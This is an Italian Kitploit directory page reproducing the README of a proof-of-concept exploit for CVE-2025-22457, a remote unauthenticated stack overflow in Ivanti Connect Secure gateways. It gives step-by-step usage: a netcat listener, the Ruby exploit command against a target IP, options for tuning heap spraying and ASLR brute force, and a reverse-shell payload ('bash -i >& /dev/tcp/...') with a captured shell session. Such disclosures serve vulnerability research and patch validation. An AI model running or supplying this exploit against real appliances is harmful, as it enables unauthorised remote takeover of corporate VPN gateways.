Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-22457 — PoC per CVE-2025-22457 - Un buffer overflow basato su stack, remoto e non autenticato, che interessa Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure e ZTA Gateways | Kitploit
Strumenti/GitHubGitHub/sfewer-r7/cve-2025-22457
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso RemotoBinary Exploitation
GitHubsfewer-r7/cve-2025-22457

CVE-2025-22457

PoC per CVE-2025-22457 - Un buffer overflow basato su stack, remoto e non autenticato, che interessa Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure e ZTA Gateways

731531 anno faRevisionato da Kitploit
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC per CVE-2025-22457

Un buffer overflow basato su stack, remoto e non autenticato, che interessa Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure e ZTA Gateways

Panoramica

Questo è un exploit proof of concept per dimostrare lo sfruttamento di CVE-2025-22457. Per un'analisi tecnica completa della vulnerabilità e della strategia di sfruttamento, consulta la nostra analisi Rapid7 qui:

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

Utilizzo

Possiamo eseguire questo script contro un target Ivanti Connect Secure vulnerabile, versione 22.7r2.4, come segue:

Avvia un listener netcat per ricevere la reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080

Esegui l'exploit ed effettua il brute force sull'ASLR (Questa operazione sarà lenta).

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

Quando funziona, otterrai una reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

Debug

Processi figli Web

A seconda dell'hardware sottostante, il numero di CPU disponibili per l'appliance target determinerà il numero di processi figli che il binario /home/bin/web genererà. Poiché tutte le richieste HTTPS in arrivo vengono distribuite uniformemente tra questi processi figli, dobbiamo tenerne conto ed eseguire l'heap spray un numero sufficiente di volte per tutti i processi figli. Dobbiamo farlo perché quando attiviamo la vulnerabilità non possiamo sapere in quale processo figlio verrà attivata. Quindi l'heap spray deve essere presente in ogni processo figlio.

  • 1 vCPU - 1 processo web, nessun figlio
  • 2 vCPU - 1 processo web padre, 2 figli
  • 4 vCPU - 1 processo web padre, 4 figli (Questa è la configurazione predefinita e corrisponde alla piattaforma Ivanti Connect Secure ISA4000-V)
  • 8 vCPU - 1 processo web padre, 8 figli (Questa corrisponde alla piattaforma Ivanti Connect Secure ISA6000-V)

Ad esempio, su un appliance vulnerabile con accesso root, esegui il seguente comando per vedere il numero di processi figli /home/bin/web:

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

Puoi specificare il numero previsto di processi figli web tramite l'argomento --web_children, ad esempio:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

Indirizzo di base di libdsplibs

Se stai testando il PoC su un sistema locale, potresti voler evitare di effettuare il brute force sull'indirizzo di base di libdsplibs. In questo scenario, puoi passare un indirizzo di base noto al PoC tramite l'argomento --libdsplibs. Ad esempio, su un appliance vulnerabile con accesso root, esegui il seguente comando:

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

Quindi puoi passare l'indirizzo di base noto al PoC come segue:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...
Scarica lo strumento